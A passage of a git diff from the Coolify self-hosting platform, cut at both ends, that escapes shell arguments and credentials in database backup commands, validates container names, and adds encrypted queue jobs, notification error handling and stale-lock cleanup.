$composeFile['secrets'] = array_replace($existingSecrets, $secrets); @@ -3880,7 +3978,7 @@ private function add_build_secrets_to_compose($composeFile) private function validatePathField(string $value, string $fieldName): string { - if (! preg_match('/^\/[a-zA-Z0-9._\-\/]+$/', $value)) { + if (! preg_match(ValidationPatterns::FILE_PATH_PATTERN, $value)) { throw new \RuntimeException("Invalid {$fieldName}: contains forbidden characters."); } if (str_contains($value, '..')) { @@ -3890,6 +3988,24 @@ private function validatePathField(string $value, string $fieldName): string return $value; } + private function validateShellSafeCommand(string $value, string $fieldName): string + { + if (! preg_match(ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) { + throw new \RuntimeException("Invalid {$fieldName}: contains forbidden shell characters."); + } + + return $value; + } + + private function validateContainerName(string $value): string + { + if (! preg_match(ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) { + throw new \RuntimeException('Invalid container name: contains forbidden characters.'); + } + + return $value; + } + private function run_pre_deployment_command() { if (empty($this->application->pre_deployment_command)) { @@ -3903,8 +4019,21 @@ private function run_pre_deployment_command() foreach ($containers as $container) { $containerName = data_get($container, 'Names'); + if ($containerName) { + $this->validateContainerName($containerName); + } if ($containers->count() == 1 || str_starts_with($containerName, $this->application->pre_deployment_command_container.'-'.$this->application->uuid)) { - $cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'"; + // Security: pre_deployment_command is intentionally treated as arbitrary shell input. + // Users (team members with deployment access) need full shell flexibility to run commands + // like "php artisan migrate", "npm run build", etc. inside their own application containers. + // The trust boundary is at the application/team ownership level — only authenticated team + // members can set these commands, and execution is scoped to the application's own container. + // The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not + // restrict the command itself. Container names are validated separately via validateContainerName(). + // Newlines are normalized to spaces to prevent injection via SSH heredoc transport + // (matches the pattern used for health_check_command at line ~2824). + $preCommand = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->pre_deployment_command); + $cmd = "sh -c '".str_replace("'", "'\''", $preCommand)."'"; $exec = "docker exec {$containerName} {$cmd}"; $this->execute_remote_command( [ @@ -3930,8 +4059,15 @@ private function run_post_deployment_command() $containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id); foreach ($containers as $container) { $containerName = data_get($container, 'Names'); + if ($containerName) { + $this->validateContainerName($containerName); + } if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) { - $cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'"; + // Security: post_deployment_command is intentionally treated as arbitrary shell input. + // See the equivalent comment in run_pre_deployment_command() for the full security rationale. + // Newlines are normalized to spaces to prevent injection via SSH heredoc transport. + $postCommand = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->post_deployment_command); + $cmd = "sh -c '".str_replace("'", "'\''", $postCommand)."'"; $exec = "docker exec {$containerName} {$cmd}"; try { $this->execute_remote_command( diff --git a/app/Jobs/CheckTraefikVersionForServerJob.php b/app/Jobs/CheckTraefikVersionForServerJob.php index 92ec4cbd4..91869eb12 100644 --- a/app/Jobs/CheckTraefikVersionForServerJob.php +++ b/app/Jobs/CheckTraefikVersionForServerJob.php @@ -6,12 +6,13 @@ use App\Models\Server; use App\Notifications\Server\TraefikVersionOutdated; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class CheckTraefikVersionForServerJob implements ShouldQueue +class CheckTraefikVersionForServerJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/CheckTraefikVersionJob.php b/app/Jobs/CheckTraefikVersionJob.php index a513f280e..ac94aa23f 100644 --- a/app/Jobs/CheckTraefikVersionJob.php +++ b/app/Jobs/CheckTraefikVersionJob.php @@ -5,12 +5,13 @@ use App\Enums\ProxyTypes; use App\Models\Server; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class CheckTraefikVersionJob implements ShouldQueue +class CheckTraefikVersionJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index a585baa69..7f1feaa21 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -91,7 +91,7 @@ public function handle(): void return; } - if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) { + if (data_get($this->backup, 'database_type') === ServiceDatabase::class) { $this->database = data_get($this->backup, 'database'); $this->server = $this->database->service->server; $this->s3 = $this->backup->s3; @@ -111,9 +111,15 @@ public function handle(): void $status = str(data_get($this->database, 'status')); if (! $status->startsWith('running') && $this->database->id !== 0) { + Log::info('DatabaseBackupJob skipped: database not running', [ + 'backup_id' => $this->backup->id, + 'database_id' => $this->database->id, + 'status' => (string) $status, + ]); + return; } - if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) { + if (data_get($this->backup, 'database_type') === ServiceDatabase::class) { $databaseType = $this->database->databaseType(); $serviceUuid = $this->database->service->uuid; $serviceName = str($this->database->service->name)->slug(); @@ -235,7 +241,7 @@ public function handle(): void } } - } catch (\Throwable $e) { + } catch (Throwable $e) { // Continue without env vars - will be handled in backup_standalone_mongodb method } } @@ -382,7 +388,7 @@ public function handle(): void } else { throw new \Exception('Local backup file is empty or was not created'); } - } catch (\Throwable $e) { + } catch (Throwable $e) { // Local backup failed if ($this->backup_log) { $this->backup_log->update([ @@ -393,7 +399,15 @@ public function handle(): void 's3_uploaded' => null, ]); } - $this->team?->notify(new BackupFailed($this->backup, $this->database, $this->error_output ?? $this->backup_output ?? $e->getMessage(), $database)); + try { + $this->team?->notify(new BackupFailed($this->backup, $this->database, $this->error_output ?? $this->backup_output ?? $e->getMessage(), $database)); + } catch (Throwable $notifyException) { + Log::channel('scheduled-errors')->warning('Failed to send backup failure notification', [ + 'backup_id' => $this->backup->uuid, + 'database' => $database, + 'error' => $notifyException->getMessage(), + ]); + } continue; } @@ -409,7 +423,7 @@ public function handle(): void deleteBackupsLocally($this->backup_location, $this->server); $localStorageDeleted = true; } - } catch (\Throwable $e) { + } catch (Throwable $e) { // S3 upload failed but local backup succeeded $s3UploadError = $e->getMessage(); } @@ -433,18 +447,27 @@ public function handle(): void 'local_storage_deleted' => $localStorageDeleted, ]); - // Send appropriate notification - if ($s3UploadError) { - $this->team->notify(new BackupSuccessWithS3Warning($this->backup, $this->database, $database, $s3UploadError)); - } else { - $this->team->notify(new BackupSuccess($this->backup, $this->database, $database)); + // Send appropriate notification (wrapped in try-catch so notification + // failures never affect backup status — see GitHub issue #9088) + try { + if ($s3UploadError) { + $this->team->notify(new BackupSuccessWithS3Warning($this->backup, $this->database, $database, $s3UploadError)); + } else { + $this->team->notify(new BackupSuccess($this->backup, $this->database, $database)); + } + } catch (Throwable $e) { + Log::channel('scheduled-errors')->warning('Failed to send backup success notification', [ + 'backup_id' => $this->backup->uuid, + 'database' => $database, + 'error' => $e->getMessage(), + ]); } } } if ($this->backup_log && $this->backup_log->status === 'success') { removeOldBackups($this->backup); } - } catch (\Throwable $e) { + } catch (Throwable $e) { throw $e; } finally { if ($this->team) { @@ -466,19 +489,23 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi // For service-based MongoDB, try to build URL from environment variables if (filled($this->mongo_root_username) && filled($this->mongo_root_password)) { // Use container name instead of server IP for service-based MongoDB - $url = "mongodb://{$this->mongo_root_username}:{$this->mongo_root_password}@{$this->container_name}:27017"; + // URL-encode credentials to prevent URI injection + $encodedUser = rawurlencode($this->mongo_root_username); + $encodedPass = rawurlencode($this->mongo_root_password); + $url = "mongodb://{$encodedUser}:{$encodedPass}@{$this->container_name}:27017"; } else { // If no environment variables are available, throw an exception throw new \Exception('MongoDB credentials not found. Ensure MONGO_INITDB_ROOT_USERNAME and MONGO_INITDB_ROOT_PASSWORD environment variables are available in the container.'); } } - \Log::info('MongoDB backup URL configured', ['has_url' => filled($url), 'using_env_vars' => blank($this->database->internal_db_url)]); + Log::info('MongoDB backup URL configured', ['has_url' => filled($url), 'using_env_vars' => blank($this->database->internal_db_url)]); + $escapedUrl = escapeshellarg($url); if ($databaseWithCollections === 'all') { $commands[] = 'mkdir -p '.$this->backup_dir; if (str($this->database->image)->startsWith('mongo:4')) { - $commands[] = "docker exec $this->container_name mongodump --uri=\"$url\" --gzip --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --uri=$escapedUrl --gzip --archive > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --gzip --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=$escapedUrl --gzip --archive > $this->backup_location"; } } else { if (str($databaseWithCollections)->contains(':')) { @@ -496,15 +523,23 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi if ($collectionsToExclude->count() === 0) { if (str($this->database->image)->startsWith('mongo:4')) { - $commands[] = "docker exec $this->container_name mongodump --uri=\"$url\" --gzip --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --uri=$escapedUrl --gzip --archive > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=$escapedUrl --db $escapedDatabaseName --gzip --archive > $this->backup_location"; } } else { + // Validate and escape each collection name + $escapedCollections = $collectionsToExclude->map(function ($collection) { + $collection = trim($collection); + validateShellSafePath($collection, 'collection name'); + + return escapeshellarg($collection); + }); + if (str($this->database->image)->startsWith('mongo:4')) { - $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --uri=$escapedUrl --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=$escapedUrl --db $escapedDatabaseName --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location"; } } } @@ -513,7 +548,7 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi if ($this->backup_output === '') { $this->backup_output = null; } - } catch (\Throwable $e) { + } catch (Throwable $e) { $this->add_to_error_output($e->getMessage()); throw $e; } @@ -525,15 +560,16 @@ private function backup_standalone_postgresql(string $database): void $commands[] = 'mkdir -p '.$this->backup_dir; $backupCommand = 'docker exec'; if ($this->postgres_password) { - $backupCommand .= " -e PGPASSWORD=\"{$this->postgres_password}\""; + $backupCommand .= ' -e PGPASSWORD='.escapeshellarg($this->postgres_password); } + $escapedUsername = escapeshellarg($this->database->postgres_user); if ($this->backup->dump_all) { - $backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location"; + $backupCommand .= " $this->container_name pg_dumpall --username $escapedUsername | gzip > $this->backup_location"; } else { // Validate and escape database name to prevent command injection validateShellSafePath($database, 'database name'); $escapedDatabase = escapeshellarg($database); - $backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username {$this->database->postgres_user} $escapedDatabase > $this->backup_location"; + $backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username $escapedUsername $escapedDatabase > $this->backup_location"; } $commands[] = $backupCommand; @@ -542,7 +578,7 @@ private function backup_standalone_postgresql(string $database): void if ($this->backup_output === '') { $this->backup_output = null; } - } catch (\Throwable $e) { + } catch (Throwable $e) { $this->add_to_error_output($e->getMessage()); throw $e; } @@ -552,20 +588,21 @@ private function backup_standalone_mysql(string $database): void { try { $commands[] = 'mkdir -p '.$this->backup_dir; + $escapedPassword = escapeshellarg($this->database->mysql_root_password); if ($this->backup->dump_all) { - $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress | gzip > $this->backup_location"; + $commands[] = "docker exec $this->container_name mysqldump -u root -p$escapedPassword --all-databases --single-transaction --quick --lock-tables=false --compress | gzip > $this->backup_location"; } else { // Validate and escape database name to prevent command injection validateShellSafePath($database, 'database name'); $escapedDatabase = escapeshellarg($database); - $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" $escapedDatabase > $this->backup_location"; + $commands[] = "docker exec $this->container_name mysqldump -u root -p$escapedPassword $escapedDatabase > $this->backup_location"; } $this->backup_output = instant_remote_process($commands, $this->server, true, false, $this->timeout, disableMultiplexing: true); $this->backup_output = trim($this->backup_output); if ($this->backup_output === '') { $this->backup_output = null; } - } catch (\Throwable $e) { + } catch (Throwable $e) { $this->add_to_error_output($e->getMessage()); throw $e; } @@ -575,20 +612,21 @@ private function backup_standalone_mariadb(string $database): void { try { $commands[] = 'mkdir -p '.$this->backup_dir; + $escapedPassword = escapeshellarg($this->database->mariadb_root_password); if ($this->backup->dump_all) { - $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress > $this->backup_location"; + $commands[] = "docker exec $this->container_name mariadb-dump -u root -p$escapedPassword --all-databases --single-transaction --quick --lock-tables=false --compress > $this->backup_location"; } else { // Validate and escape database name to prevent command injection validateShellSafePath($database, 'database name'); $escapedDatabase = escapeshellarg($database); - $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" $escapedDatabase > $this->backup_location"; + $commands[] = "docker exec $this->container_name mariadb-dump -u root -p$escapedPassword $escapedDatabase > $this->backup_location"; } $this->backup_output = instant_remote_process($commands, $this->server, true, false, $this->timeout, disableMultiplexing: true); $this->backup_output = trim($this->backup_output); if ($this->backup_output === '') { $this->backup_output = null; } - } catch (\Throwable $e) { + } catch (Throwable $e) { $this->add_to_error_output($e->getMessage()); throw $e; } @@ -619,17 +657,23 @@ private function calculate_size() private function upload_to_s3(): void { + if (is_null($this->s3)) { + $this->backup->update([ + 'save_s3' => false, + 's3_storage_id' => null, + ]); + + throw new \Exception('S3 storage configuration is missing or has been deleted (S3 storage ID: '.($this->backup->s3_storage_id ?? 'null').'). S3 backup has been disabled for this schedule.'); + } + try { - if (is_null($this->s3)) { - return; - } $key = $this->s3->key; $secret = $this->s3->secret; // $region = $this->s3->region; $bucket = $this->s3->bucket; $endpoint = $this->s3->endpoint; $this->s3->testConnection(shouldSave: true); - if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) { + if (data_get($this->backup, 'database_type') === ServiceDatabase::class) { $network = $this->database->service->destination->network; } else { $network = $this->database->destination->network; @@ -664,7 +708,7 @@ private function upload_to_s3(): void instant_remote_process($commands, $this->server, true, false, null, disableMultiplexing: true); $this->s3_uploaded = true; - } catch (\Throwable $e) { + } catch (Throwable $e) { $this->s3_uploaded = false; $this->add_to_error_output($e->getMessage()); throw $e; @@ -698,20 +742,32 @@ public function failed(?Throwable $exception): void $log = ScheduledDatabaseBackupExecution::where('uuid', $this->backup_log_uuid)->first(); if ($log) { - $log->update([ - 'status' => 'failed', - 'message' => 'Job permanently failed after '.$this->attempts().' attempts: '.($exception?->getMessage() ?? 'Unknown error'), - 'size' => 0, - 'filename' => null, - 'finished_at' => Carbon::now(), - ]); + // Don't overwrite a successful backup status — a post-backup error + // (e.g. notification failure) should not retroactively mark the backup + // as failed (see GitHub issue #9088) + if ($log->status !== 'success') { + $log->update([ + 'status' => 'failed', + 'message' => 'Job permanently failed after '.$this->attempts().' attempts: '.($exception?->getMessage() ?? 'Unknown error'), + 'size' => 0, + 'filename' => null, + 'finished_at' => Carbon::now(), + ]); + } } - // Notify team about permanent failure - if ($this->team) { + // Notify team about permanent failure (only if backup didn't already succeed) + if ($this->team && $log?->status !== 'success') { $databaseName = $log?->database_name ?? 'unknown'; $output = $this->backup_output ?? $exception?->getMessage() ?? 'Unknown error'; - $this->team->notify(new BackupFailed($this->backup, $this->database, $output, $databaseName)); + try { + $this->team->notify(new BackupFailed($this->backup, $this->database, $output, $databaseName)); + } catch (Throwable $e) { + Log::channel('scheduled-errors')->warning('Failed to send backup permanent failure notification', [ + 'backup_id' => $this->backup->uuid, + 'error' => $e->getMessage(), + ]); + } } } } diff --git a/app/Jobs/DockerCleanupJob.php b/app/Jobs/DockerCleanupJob.php index f3f3a2ae4..16f3d88ad 100644 --- a/app/Jobs/DockerCleanupJob.php +++ b/app/Jobs/DockerCleanupJob.php @@ -39,19 +39,27 @@ public function __construct( public bool $manualCleanup = false, public bool $deleteUnusedVolumes = false, public bool $deleteUnusedNetworks = false - ) {} + ) { + $this->onQueue('high'); + } public function handle(): void { try { - if (! $this->server->isFunctional()) { - return; - } - $this->execution_log = DockerCleanupExecution::create([ 'server_id' => $this->server->id, ]); + if (! $this->server->isFunctional()) { + $this->execution_log->update([ + 'status' => 'failed', + 'message' => 'Server is not functional (unreachable, unusable, or disabled)', + 'finished_at' => Carbon::now()->toImmutable(), + ]); + + return; + } + $this->usageBefore = $this->server->getDiskUsage(); if ($this->manualCleanup || $this->server->settings->force_docker_cleanup) { @@ -91,6 +99,8 @@ public function handle(): void $this->server->team?->notify(new DockerCleanupSuccess($this->server, $message)); event(new DockerCleanupDone($this->execution_log)); + + return; } if ($this->usageBefore >= $this->server->settings->docker_cleanup_threshold) { diff --git a/app/Jobs/PushServerUpdateJob.php b/app/Jobs/PushServerUpdateJob.php index 5d018cf19..b1a12ae2a 100644 --- a/app/Jobs/PushServerUpdateJob.php +++ b/app/Jobs/PushServerUpdateJob.php @@ -24,6 +24,7 @@ use Illuminate\Queue\Middleware\WithoutOverlapping; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Cache; use Laravel\Horizon\Contracts\Silenced; class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced @@ -130,7 +131,14 @@ public function handle() $this->containers = collect(data_get($data, 'containers')); $filesystemUsageRoot = data_get($data, 'filesystem_usage_root.used_percentage'); - ServerStorageCheckJob::dispatch($this->server, $filesystemUsageRoot); + + // Only dispatch storage check when disk percentage actually changes + $storageCacheKey = 'storage-check:'.$this->server->id; + $lastPercentage = Cache::get($storageCacheKey); + if ($lastPercentage === null || (string) $lastPercentage !== (string) $filesystemUsageRoot) { + Cache::put($storageCacheKey, $filesystemUsageRoot, 600); + ServerStorageCheckJob::dispatch($this->server, $filesystemUsageRoot); + } if ($this->containers->isEmpty()) { return; @@ -207,7 +215,7 @@ public function handle() $serviceId = $labels->get('coolify.serviceId'); $subType = $labels->get('coolify.service.subType'); $subId = $labels->get('coolify.service.subId'); - if (empty($subId)) { + if (empty(trim((string) $subId))) { continue; } if ($subType === 'application') { @@ -299,6 +307,8 @@ private function aggregateMultiContainerStatuses() if ($aggregatedStatus && $application->status !== $aggregatedStatus) { $application->status = $aggregatedStatus; $application->save(); + } elseif ($aggregatedStatus) { + $application->update(['last_online_at' => now()]); } continue; @@ -313,6 +323,8 @@ private function aggregateMultiContainerStatuses() if ($aggregatedStatus && $application->status !== $aggregatedStatus) { $application->status = $aggregatedStatus; $application->save(); + } elseif ($aggregatedStatus) { + $application->update(['last_online_at' => now()]); } } } @@ -327,6 +339,10 @@ private function aggregateServiceContainerStatuses() // Parse key: serviceId:subType:subId [$serviceId, $subType, $subId] = explode(':', $key); + if (empty($subId)) { + continue; + } + $service = $this->services->where('id', $serviceId)->first(); if (! $service) { continue; @@ -335,9 +351,9 @@ private function aggregateServiceContainerStatuses() // Get the service sub-resource (ServiceApplication or ServiceDatabase) $subResource = null; if ($subType === 'application') { - $subResource = $service->applications()->where('id', $subId)->first(); + $subResource = $service->applications->where('id', $subId)->first(); } elseif ($subType === 'database') { - $subResource = $service->databases()->where('id', $subId)->first(); + $subResource = $service->databases->where('id', $subId)->first(); } if (! $subResource) { @@ -359,6 +375,8 @@ private function aggregateServiceContainerStatuses() if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) { $subResource->status = $aggregatedStatus; $subResource->save(); + } elseif ($aggregatedStatus) { + $subResource->update(['last_online_at' => now()]); } continue; @@ -374,6 +392,8 @@ private function aggregateServiceContainerStatuses() if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) { $subResource->status = $aggregatedStatus; $subResource->save(); + } elseif ($aggregatedStatus) { + $subResource->update(['last_online_at' => now()]); } } } @@ -387,6 +407,8 @@ private function updateApplicationStatus(string $applicationId, string $containe if ($application->status !== $containerStatus) { $application->status = $containerStatus; $application->save(); + } else { + $application->update(['last_online_at' => now()]); } } @@ -401,6 +423,8 @@ private function updateApplicationPreviewStatus(string $applicationId, string $p if ($application->status !== $containerStatus) { $application->status = $containerStatus; $application->save(); + } else { + $application->update(['last_online_at' => now()]); } } @@ -476,8 +500,13 @@ private function updateProxyStatus() } catch (\Throwable $e) { } } else { - // Connect proxy to networks asynchronously to avoid blocking the status update - ConnectProxyToNetworksJob::dispatch($this->server); + // Connect proxy to networks periodically (every 10 min) to avoid excessive job dispatches. + // On-demand triggers (new network, service deploy) use dispatchSync() and bypass this. + $proxyCacheKey = 'connect-proxy:'.$this->server->id; + if (! Cache::has($proxyCacheKey)) { + Cache::put($proxyCacheKey, true, 600); + ConnectProxyToNetworksJob::dispatch($this->server); + } } } } @@ -491,6 +520,8 @@ private function updateDatabaseStatus(string $databaseUuid, string $containerSta if ($database->status !== $containerStatus) { $database->status = $containerStatus; $database->save(); + } else { + $database->update(['last_online_at' => now()]); } if ($this->isRunning($containerStatus) && $tcpProxy) { $tcpProxyContainerFound = $this->containers->filter(function ($value, $key) use ($databaseUuid) { @@ -528,8 +559,12 @@ private function updateNotFoundDatabaseStatus() $database = $this->databases->where('uuid', $databaseUuid)->first(); if ($database) { if (! str($database->status)->startsWith('exited')) { - $database->status = 'exited'; - $database->save(); + $database->update([ + 'status' => 'exited', + 'restart_count' => 0, + 'last_restart_at' => null, + 'last_restart_type' => null, + ]); } if ($database->is_public) { StopDatabaseProxy::dispatch($database); @@ -538,31 +573,6 @@ private function updateNotFoundDatabaseStatus() }); } - private function updateServiceSubStatus(string $serviceId, string $subType, string $subId, string $containerStatus) - { - $service = $this->services->where('id', $serviceId)->first(); - if (! $service) { - return; - } - if ($subType === 'application') { - $application = $service->applications()->where('id', $subId)->first(); - if ($application) { - if ($application->status !== $containerStatus) { - $application->status = $containerStatus; - $application->save(); - } - } - } elseif ($subType === 'database') { - $database = $service->databases()->where('id', $subId)->first(); - if ($database) { - if ($database->status !== $containerStatus) { - $database->status = $containerStatus; - $database->save(); - } - } - } - } - private function updateNotFoundServiceStatus() { $notFoundServiceApplicationIds = $this->allServiceApplicationIds->diff($this->foundServiceApplicationIds); diff --git a/app/Jobs/RegenerateSslCertJob.php b/app/Jobs/RegenerateSslCertJob.php index c0284e1ee..6f49cf30b 100644 --- a/app/Jobs/RegenerateSslCertJob.php +++ b/app/Jobs/RegenerateSslCertJob.php @@ -7,13 +7,14 @@ use App\Models\Team; use App\Notifications\SslExpirationNotification; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Log; -class RegenerateSslCertJob implements ShouldQueue +class RegenerateSslCertJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php index d69585788..71829ea41 100644 --- a/app/Jobs/ScheduledJobManager.php +++ b/app/Jobs/ScheduledJobManager.php @@ -6,7 +6,6 @@ use App\Models\ScheduledTask; use App\Models\Server; use App\Models\Team; -use Cron\CronExpression; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; @@ -15,7 +14,9 @@ use Illuminate\Queue\SerializesModels; use Illuminate\Support\Carbon; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Log; +use Illuminate\Support\Facades\Redis; class ScheduledJobManager implements ShouldQueue { @@ -54,6 +55,11 @@ private function determineQueue(): string */ public function middleware(): array { + // Self-healing: clear any stale lock before WithoutOverlapping tries to acquire it. + // Stale locks (TTL = -1) can occur during upgrades, Redis restarts, or edge cases. + // @see https://github.com/coollabsio/coolify/issues/8327 + self::clearStaleLockIfPresent(); + return [ (new WithoutOverlapping('scheduled-job-manager')) ->expireAfter(90) // Lock expires after 90s to handle high-load environments with many tasks @@ -61,6 +67,34 @@ public function middleware(): array ]; } + /** + * Clear a stale WithoutOverlapping lock if it has no TTL (TTL = -1). + * + * This provides continuous self-healing since it runs every time the job is dispatched. + * Stale locks permanently block all scheduled job executions with no user-visible error. + */ + private static function clearStaleLockIfPresent(): void + { + try { + $cachePrefix = config('cache.prefix', ''); + $lockKey = $cachePrefix.'laravel-queue-overlap:'.self::class.':scheduled-job-manager'; + + $ttl = Redis::connection('default')->ttl($lockKey); + + if ($ttl === -1) { + Redis::connection('default')->del($lockKey); + Log::channel('scheduled')->warning('Cleared stale ScheduledJobManager lock', [ + 'lock_key' => $lockKey, + ]); + } + } catch (\Throwable $e) { + // Never let lock cleanup failure prevent the job from running + Log::channel('scheduled-errors')->error('Failed to check/clear stale lock', [ + 'error' => $e->getMessage(), + ]); + } + } + public function handle(): void { // Freeze the execution time at the start of the job @@ -108,6 +142,13 @@ public function handle(): void 'dispatched' => $this->dispatchedCount, 'skipped' => $this->skippedCount, ]); + + // Write heartbeat so the UI can detect when the scheduler has stopped + try { + Cache::put('scheduled-job-manager:heartbeat', now()->toIso8601String(), 300); + } catch (\Throwable) { + // Non-critical; don't let heartbeat failure affect the job + } } private function processScheduledBackups(): void @@ -118,7 +159,8 @@ private function processScheduledBackups(): void foreach ($backups as $backup) { try { - $skipReason = $this->getBackupSkipReason($backup); + $server = $backup->server(); + $skipReason = $this->getBackupSkipReason($backup, $server); if ($skipReason !== null) { $this->skippedCount++; $this->logSkip('backup', $skipReason, [ @@ -131,7 +173,6 @@ private function processScheduledBackups(): void continue; } - $server = $backup->server(); $serverTimezone = data_get($server->settings, 'server_timezone', config('app.timezone')); if (validate_timezone($serverTimezone) === false) { @@ -143,7 +184,7 @@ private function processScheduledBackups(): void $frequency = VALID_CRON_STRINGS[$frequency]; } - if ($this->shouldRunNow($frequency, $serverTimezone)) { + if (shouldRunCronNow($frequency, $serverTimezone, "scheduled-backup:{$backup->id}", $this->executionTime)) { DatabaseBackupJob::dispatch($backup); $this->dispatchedCount++; Log::channel('scheduled')->info('Backup dispatched', [ @@ -171,19 +212,21 @@ private function processScheduledTasks(): void foreach ($tasks as $task) { try { - $skipReason = $this->getTaskSkipReason($task); - if ($skipReason !== null) { + $server = $task->server(); + + // Phase 1: Critical checks (always — cheap, handles orphans and infra issues) + $criticalSkip = $this->getTaskCriticalSkipReason($task, $server); + if ($criticalSkip !== null) { $this->skippedCount++; - $this->logSkip('task', $skipReason, [ + $this->logSkip('task', $criticalSkip, [ 'task_id' => $task->id, 'task_name' => $task->name, - 'team_id' => $task->server()?->team_id, + 'team_id' => $server?->team_id, ]); continue; } - $server = $task->server(); $serverTimezone = data_get($server->settings, 'server_timezone', config('app.timezone')); if (validate_timezone($serverTimezone) === false) { @@ -195,16 +238,31 @@ private function processScheduledTasks(): void $frequency = VALID_CRON_STRINGS[$frequency]; } - if ($this->shouldRunNow($frequency, $serverTimezone)) { - ScheduledTaskJob::dispatch($task); - $this->dispatchedCount++; - Log::channel('scheduled')->info('Task dispatched', [ + if (! shouldRunCronNow($frequency, $serverTimezone, "scheduled-task:{$task->id}", $this->executionTime)) { + continue; + } + + // Phase 2: Runtime checks (only when cron is due — avoids noise for stopped resources) + $runtimeSkip = $this->getTaskRuntimeSkipReason($task); + if ($runtimeSkip !== null) { + $this->skippedCount++; + $this->logSkip('task', $runtimeSkip, [ 'task_id' => $task->id, 'task_name' => $task->name, 'team_id' => $server->team_id, - 'server_id' => $server->id, ]); + + continue; } + + ScheduledTaskJob::dispatch($task); + $this->dispatchedCount++; + Log::channel('scheduled')->info('Task dispatched', [ + 'task_id' => $task->id, + 'task_name' => $task->name, + 'team_id' => $server->team_id, + 'server_id' => $server->id, + ]); } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Error processing task', [ 'task_id' => $task->id, @@ -214,7 +272,7 @@ private function processScheduledTasks(): void } } - private function getBackupSkipReason(ScheduledDatabaseBackup $backup): ?string + private function getBackupSkipReason(ScheduledDatabaseBackup $backup, ?Server $server): ?string { if (blank(data_get($backup, 'database'))) { $backup->delete(); @@ -222,7 +280,6 @@ private function getBackupSkipReason(ScheduledDatabaseBackup $backup): ?string return 'database_deleted'; } - $server = $backup->server(); if (blank($server)) { $backup->delete(); @@ -240,12 +297,8 @@ private function getBackupSkipReason(ScheduledDatabaseBackup $backup): ?string return null; } - private function 